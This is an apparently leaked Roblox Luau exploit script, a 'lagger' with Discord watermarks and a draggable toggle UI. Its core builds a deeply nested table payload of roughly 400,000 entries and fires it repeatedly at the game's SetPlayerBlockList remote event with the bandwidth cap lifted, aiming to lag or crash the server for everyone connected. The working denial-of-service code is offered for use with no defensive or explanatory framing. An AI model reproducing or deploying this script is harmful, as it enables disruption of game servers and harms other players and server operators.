-- ============================================================================ -- DISCORD.GG/SPECTRUMCC DISCORD.GG/SPECTRUMCC -- LEAKED BY ZERRIX --LEAKED BY ZERRIX --DISCORD.GG/SPECTRUMCC -- ============================================================================ local Players = game:GetService("Players") local UIS = game:GetService("UserInputService") local NetworkClient = game:GetService("NetworkClient") local ReplicatedStorage = game:GetService("ReplicatedStorage") local PlayerGui = Players.LocalPlayer:WaitForChild("PlayerGui") -- ============================================================================ -- LEAK CREDIT (console watermark) -- ============================================================================ print("leaked by discord.gg/spectrumcc and more and leaked by zerrix also") -- ============================================================================ -- LAGGER CONFIG & STATE -- ============================================================================ local DEPTH = 296 local PRESET = { power = 400000, wait = 0.34 } -- V1 preset (you can tweak) local cfg = { keybind = "V", } local state = { running = false, thread = nil, } -- ============================================================================ -- REMOTE EVENT DETECTION -- ============================================================================ local function getRemoteEvent() local remote = game:FindFirstChild("RobloxReplicatedStorage") if remote then remote = remote:FindFirstChild("SetPlayerBlockList") if remote and remote:IsA("RemoteEvent") then return remote end end for _, child in ipairs(ReplicatedStorage:GetDescendants()) do if child:IsA("RemoteEvent") and child.Name:lower():find("blocklist") then return child end end return nil end local remoteEvent = getRemoteEvent() if not remoteEvent then warn("[Lagger] RemoteEvent not found!") end -- ============================================================================ -- BOMB BUILDER -- ============================================================================ local function buildBomb(power, depth) local mt = {} local st = {} table.insert(st, {}) local z = st[1] for i = 1, depth do local t = {} table.insert(z, t) z = t end for i = 1, math.floor(power / (depth + 2)) do table.insert(mt, st) end return mt end -- ============================================================================ -- LAGGER CORE -- ============================================================================ function startLagger() if state.running then return end if not remoteEvent then return end state.running = true NetworkClient:SetOutgoingKBPSLimit(math.huge) local bomb = buildBomb(PRESET.power, DEPTH) state.thread = task.spawn(function() while state.running do pcall(function() remoteEvent:FireServer(bomb) end) task.wait(PRESET.wait) end end) updateUI() print("[Lagger] Started") end function stopLagger() if not state.running then return end state.running = false if state.thread then task.cancel(state.thread) state.thread = nil end NetworkClient:SetOutgoingKBPSLimit(0) updateUI() print("[Lagger] Stopped") end function toggleLagger() if state.running then stopLagger() else startLagger() end end -- ============================================================================ -- KEY LISTENING (for keybind change) -- ============================================================================ local keyListen = { active = false, callback = nil, button = nil } local function cancelKeyListen() if keyListen.button then keyListen.button.Text = cfg.keybind keyListen.button.BackgroundColor3 = Color3.fromRGB(255,255,255) keyListen.button.BackgroundTransparency = 0.55 end keyListen.active = false keyListen.callback = nil keyListen.button = nil end local function startKeyListen(btn, callback) cancelKeyListen() keyListen.active = true keyListen.callback = callback keyListen.button = btn btn.Text = "..." btn.BackgroundColor3 = Color3.fromRGB(80,220,120) btn.BackgroundTransparency = 0.3 task.delay(8, function() if keyListen.active and keyListen.button == btn then cancelKeyListen() end end) end UIS.InputBegan:Connect(function(input, gp) if gp then return end if keyListen.active then local key = input.KeyCode if key == Enum.KeyCode.Escape then cancelKeyListen() return end local ignored = { [Enum.KeyCode.LeftShift]=true, [Enum.KeyCode.RightShift]=true, [Enum.KeyCode.LeftControl]=true, [Enum.KeyCode.RightControl]=true, [Enum.KeyCode.LeftAlt]=true, [Enum.KeyCode.RightAlt]=true, [Enum.KeyCode.LeftMeta]=true, [Enum.KeyCode.RightMeta]=true, [Enum.KeyCode.Unknown]=true } if ignored[key] then return end local cb = keyListen.callback local btn = keyListen.button cancelKeyListen() if btn and btn.Parent then btn.Text = key.Name btn.BackgroundColor3 = Color3.fromRGB(255,255,255) btn.BackgroundTransparency = 0.55 end if cb then cb(key) end return end -- Global toggle if input.KeyCode.Name == cfg.keybind then toggleLagger() end end) -- ============================================================================ -- UI REFERENCES -- ============================================================================ local UI = { keybindBtn = nil, toggleBtn = nil, toggleCircle = nil, activeLabel = nil, } -- ============================================================================ -- UI UPDATE -- ============================================================================ function updateUI() if UI.activeLabel then UI.activeLabel.Text = state.running and "ACTIVE" or "INACTIVE" UI.activeLabel.TextColor3 = state.running and Color3.fromRGB(80,220,120) or Color3.fromRGB(255,100,100) end if UI.toggleCircle then -- White when off, Green when active UI.toggleCircle.BackgroundColor3 = state.running and Color3.fromRGB(80,220,120) or Color3.fromRGB(255,255,255) end if UI.keybindBtn then UI.keybindBtn.Text = cfg.keybind end end -- ============================================================================ -- DRAGGABLE WINDOW -- ============================================================================ local function makeDraggable(frame) local dragging, dragStart, startPos, dragInput frame.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = frame.Position input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) frame.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) UIS.InputChanged:Connect(function(input) if input == dragInput and dragging then local delta = input.Position - dragStart frame.Position = UDim2.new( startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y ) end end) end -- ============================================================================ -- BUILD YOUR ORIGINAL UI (ArvexLagger_UI) WITH WIRING -- ============================================================================ local ArvexLagger_UI = Instance.new("ScreenGui") ArvexLagger_UI.Name = "ArvexLagger_UI" ArvexLagger_UI.ZIndexBehavior = Enum.ZIndexBehavior.Sibling ArvexLagger_UI.ResetOnSpawn = false ArvexLagger_UI.Parent = PlayerGui local MainFrame = Instance.new("Frame") MainFrame.Name = "MainFrame" MainFrame.ClipsDescendants = true MainFrame.Position = UDim2.new(0.5,263,0.5,-226) MainFrame.Size = UDim2.new(0,270,0,128) MainFrame.BackgroundColor3 = Color3.fromRGB(8,8,8) MainFrame.BorderSizePixel = 0 MainFrame.Parent = ArvexLagger_UI makeDraggable(MainFrame) local UICorner = Instance.new("UICorner") UICorner.Name = "UICorner" UICorner.CornerRadius = UDim.new(0,18) UICorner.Parent = MainFrame local ImageLabel = Instance.new("ImageLabel") ImageLabel.Name = "ImageLabel" ImageLabel.Size = UDim2.new(1,0,1,0) ImageLabel.BackgroundColor3 = Color3.fromRGB(0,0,0) ImageLabel.Image = "rbxassetid://91058594739169" ImageLabel.Parent = MainFrame local UICorner2 = Instance.new("UICorner") UICorner2.Name = "UICorner" UICorner2.CornerRadius = UDim.new(0,18) UICorner2.Parent = ImageLabel local Frame = Instance.new("Frame") Frame.Name = "Frame" Frame.ZIndex = 3 Frame.Size = UDim2.new(1,0,0,38) Frame.BackgroundColor3 = Color3.fromRGB(15,15,15) Frame.BackgroundTransparency = 1 Frame.BorderSizePixel = 0 Frame.Parent = MainFrame local UICorner3 = Instance.new("UICorner") UICorner3.Name = "UICorner" UICorner3.CornerRadius = UDim.new(0,18) UICorner3.Parent = Frame local Frame2 = Instance.new("Frame") Frame2.Name = "Frame" Frame2.ZIndex = 2 Frame2.Position = UDim2.new(0,0,1,-14) Frame2.Size = UDim2.new(1,0,0,14) Frame2.BackgroundColor3 = Color3.fromRGB(15,15,15) Frame2.BackgroundTransparency = 1 Frame2.BorderSizePixel = 0 Frame2.Parent = Frame local Frame3 = Instance.new("Frame") Frame3.Name = "Frame" Frame3.ZIndex = 4 Frame3.Position = UDim2.new(0,8,0.5,-14) Frame3.Size = UDim2.new(0,10,0,28) Frame3.BackgroundColor3 = Color3.fromRGB(255,255,255) Frame3.BackgroundTransparency = 0.55 Frame3.BorderSizePixel = 0 Frame3.Parent = Frame local UICorner4 = Instance.new("UICorner") UICorner4.Name = "UICorner" UICorner4.CornerRadius = UDim.new(1,0) UICorner4.Parent = Frame3 local Frame4 = Instance.new("Frame") Frame4.Name = "Frame" Frame4.ZIndex = 5 Frame4.Position = UDim2.new(0,12,0.5,-10) Frame4.Size = UDim2.new(0,3,0,20) Frame4.BackgroundColor3 = Color3.fromRGB(255,255,255) Frame4.BorderSizePixel = 0 Frame4.Parent = Frame local UICorner5 = Instance.new("UICorner") UICorner5.Name = "UICorner" UICorner5.CornerRadius = UDim.new(1,0) UICorner5.Parent = Frame4 local TextLabel = Instance.new("TextLabel") TextLabel.Name = "TextLabel" TextLabel.ZIndex = 5 TextLabel.Position = UDim2.new(0,22,0,-4) TextLabel.Size = UDim2.new(0,180,1,0) TextLabel.BackgroundTransparency = 1 TextLabel.Text = "Soruna" TextLabel.TextColor3 = Color3.fromRGB(255,255,255) TextLabel.TextSize = 14 TextLabel.Font = Enum.Font.GothamBlack TextLabel.TextXAlignment = Enum.TextXAlignment.Left TextLabel.TextStrokeTransparency = 0.2 TextLabel.Parent = Frame local TextLabel2 = Instance.new("TextLabel") TextLabel2.Name = "TextLabel" TextLabel2.ZIndex = 5 TextLabel2.Position = UDim2.new(0,22,0,18) TextLabel2.Size = UDim2.new(0,180,0,14) TextLabel2.BackgroundTransparency = 1 TextLabel2.Text = "discord.gg/sorunaduels" TextLabel2.TextColor3 = Color3.fromRGB(255,255,255) TextLabel2.TextSize = 9 TextLabel2.Font = Enum.Font.GothamBlack TextLabel2.TextXAlignment = Enum.TextXAlignment.Left TextLabel2.TextStrokeTransparency = 0.2 TextLabel2.Parent = Frame local Frame5 = Instance.new("Frame") Frame5.Name = "Frame" Frame5.ZIndex = 3 Frame5.Position = UDim2.new(0,10,0,40) Frame5.Size = UDim2.new(1,-20,0,1) Frame5.BackgroundColor3 = Color3.fromRGB(130,130,130) Frame5.BackgroundTransparency = 0.5 Frame5.BorderSizePixel = 0 Frame5.Parent = MainFrame local Frame6 = Instance.new("Frame") Frame6.Name = "Frame" Frame6.ZIndex = 3 Frame6.Position = UDim2.new(0,10,0,48) Frame6.Size = UDim2.new(1,-20,0,72) Frame6.BackgroundColor3 = Color3.fromRGB(20,20,20) Frame6.BackgroundTransparency = 1 Frame6.BorderSizePixel = 0 Frame6.Parent = MainFrame local UICorner6 = Instance.new("UICorner") UICorner6.Name = "UICorner" UICorner6.CornerRadius = UDim.new(0,12) UICorner6.Parent = Frame6 local UIStroke = Instance.new("UIStroke") UIStroke.Name = "UIStroke" UIStroke.Color = Color3.fromRGB(130,130,130) UIStroke.Transparency = 1 UIStroke.Parent = Frame6 -- KEYBIND BUTTON local TextButton = Instance.new("TextButton") TextButton.Name = "TextButton" TextButton.ZIndex = 5 TextButton.Position = UDim2.new(0,10,0.5,-16) TextButton.Size = UDim2.new(0,48,0,32) TextButton.BackgroundColor3 = Color3.fromRGB(15,15,15) TextButton.BackgroundTransparency = 0.1 TextButton.Text = "V" TextButton.TextColor3 = Color3.fromRGB(255,255,255) TextButton.TextSize = 13 TextButton.Font = Enum.Font.GothamBlack TextButton.TextStrokeTransparency = 0.2 TextButton.AutoButtonColor = false TextButton.Parent = Frame6 UI.keybindBtn = TextButton local UICorner7 = Instance.new("UICorner") UICorner7.Name = "UICorner" UICorner7.Parent = TextButton local UIStroke2 = Instance.new("UIStroke") UIStroke2.Name = "UIStroke" UIStroke2.Color = Color3.fromRGB(200,200,200) UIStroke2.Transparency = 0.35 UIStroke2.Parent = TextButton local TextLabel3 = Instance.new("TextLabel") TextLabel3.Name = "TextLabel" TextLabel3.ZIndex = 5 TextLabel3.Position = UDim2.new(0,0,1,3) TextLabel3.Size = UDim2.new(1,0,0,9) TextLabel3.BackgroundTransparency = 1 TextLabel3.Text = "KEYBIND" TextLabel3.TextColor3 = Color3.fromRGB(255,255,255) TextLabel3.TextSize = 7 TextLabel3.Font = Enum.Font.GothamBlack TextLabel3.TextStrokeTransparency = 0.25 TextLabel3.Parent = TextButton TextButton.MouseButton1Click:Connect(function() startKeyListen(TextButton, function(key) cfg.keybind = key.Name updateUI() end) end) -- SEPARATOR local Frame7 = Instance.new("Frame") Frame7.Name = "Frame" Frame7.ZIndex = 4 Frame7.Position = UDim2.new(0,66,0.5,-20) Frame7.Size = UDim2.new(0,1,0,40) Frame7.BackgroundColor3 = Color3.fromRGB(130,130,130) Frame7.BackgroundTransparency = 0.5 Frame7.BorderSizePixel = 0 Frame7.Parent = Frame6 -- STATUS AREA (without V1) local Frame8 = Instance.new("Frame") Frame8.Name = "Frame" Frame8.ZIndex = 4 Frame8.Position = UDim2.new(0,74,0,0) Frame8.Size = UDim2.new(0,96,1,0) Frame8.BackgroundTransparency = 1 Frame8.Parent = Frame6 -- "LAGGER" label (no version) local TextLabel4 = Instance.new("TextLabel") TextLabel4.Name = "TextLabel" TextLabel4.ZIndex = 5 TextLabel4.Position = UDim2.new(0,0,0.5,-20) TextLabel4.Size = UDim2.new(1,0,0,18) TextLabel4.BackgroundTransparency = 1 TextLabel4.Text = "LAGGER" -- Removed "V1" TextLabel4.TextColor3 = Color3.fromRGB(255,255,255) TextLabel4.TextSize = 13 TextLabel4.Font = Enum.Font.GothamBlack TextLabel4.TextXAlignment = Enum.TextXAlignment.Left TextLabel4.TextStrokeTransparency = 0.2 TextLabel4.Parent = Frame8 -- "ACTIVE" label local TextLabel5 = Instance.new("TextLabel") TextLabel5.Name = "TextLabel" TextLabel5.ZIndex = 5 TextLabel5.Position = UDim2.new(0,0,0.5,2) TextLabel5.Size = UDim2.new(1,0,0,14) TextLabel5.BackgroundTransparency = 1 TextLabel5.Text = "ACTIVE" TextLabel5.TextColor3 = Color3.fromRGB(255,255,255) TextLabel5.TextSize = 11 TextLabel5.Font = Enum.Font.GothamBlack TextLabel5.TextXAlignment = Enum.TextXAlignment.Left TextLabel5.TextStrokeTransparency = 0.2 TextLabel5.Parent = Frame8 UI.activeLabel = TextLabel5 -- TOGGLE BUTTON (round) local TextButton2 = Instance.new("TextButton") TextButton2.Name = "TextButton" TextButton2.ZIndex = 5 TextButton2.Position = UDim2.new(1,-56,0.5,-13) TextButton2.Size = UDim2.new(0,46,0,26) TextButton2.BackgroundColor3 = Color3.fromRGB(20,20,20) TextButton2.BackgroundTransparency = 1 TextButton2.Text = "" TextButton2.AutoButtonColor = false TextButton2.Parent = Frame6 UI.toggleBtn = TextButton2 local UICorner8 = Instance.new("UICorner") UICorner8.Name = "UICorner" UICorner8.CornerRadius = UDim.new(1,0) UICorner8.Parent = TextButton2 local UIStroke3 = Instance.new("UIStroke") UIStroke3.Name = "UIStroke" UIStroke3.Color = Color3.fromRGB(200,200,200) UIStroke3.Transparency = 1 UIStroke3.Parent = TextButton2 -- WHITE DOT (starts white, turns green when active) local Frame9 = Instance.new("Frame") Frame9.Name = "Frame" Frame9.ZIndex = 6 Frame9.Position = UDim2.new(1,-20,0.5,-8) Frame9.Size = UDim2.new(0,18,0,18) Frame9.BackgroundColor3 = Color3.fromRGB(255,255,255) -- white by default Frame9.BorderSizePixel = 0 Frame9.Parent = TextButton2 UI.toggleCircle = Frame9 local UICorner9 = Instance.new("UICorner") UICorner9.Name = "UICorner" UICorner9.CornerRadius = UDim.new(1,0) UICorner9.Parent = Frame9 TextButton2.MouseButton1Click:Connect(function() toggleLagger() end) -- INVISIBLE BUTTON (unused) local TextButton3 = Instance.new("TextButton") TextButton3.Name = "TextButton" TextButton3.ZIndex = 5 TextButton3.Position = UDim2.new(0,66,0,0) TextButton3.Size = UDim2.new(1,-118,1,0) TextButton3.BackgroundTransparency = 1 TextButton3.Text = "" TextButton3.Parent = Frame6 -- ============================================================================ -- FINAL UI UPDATE -- ============================================================================ updateUI() print("[Lagger] Ready. Press " .. cfg.keybind .. " to toggle.")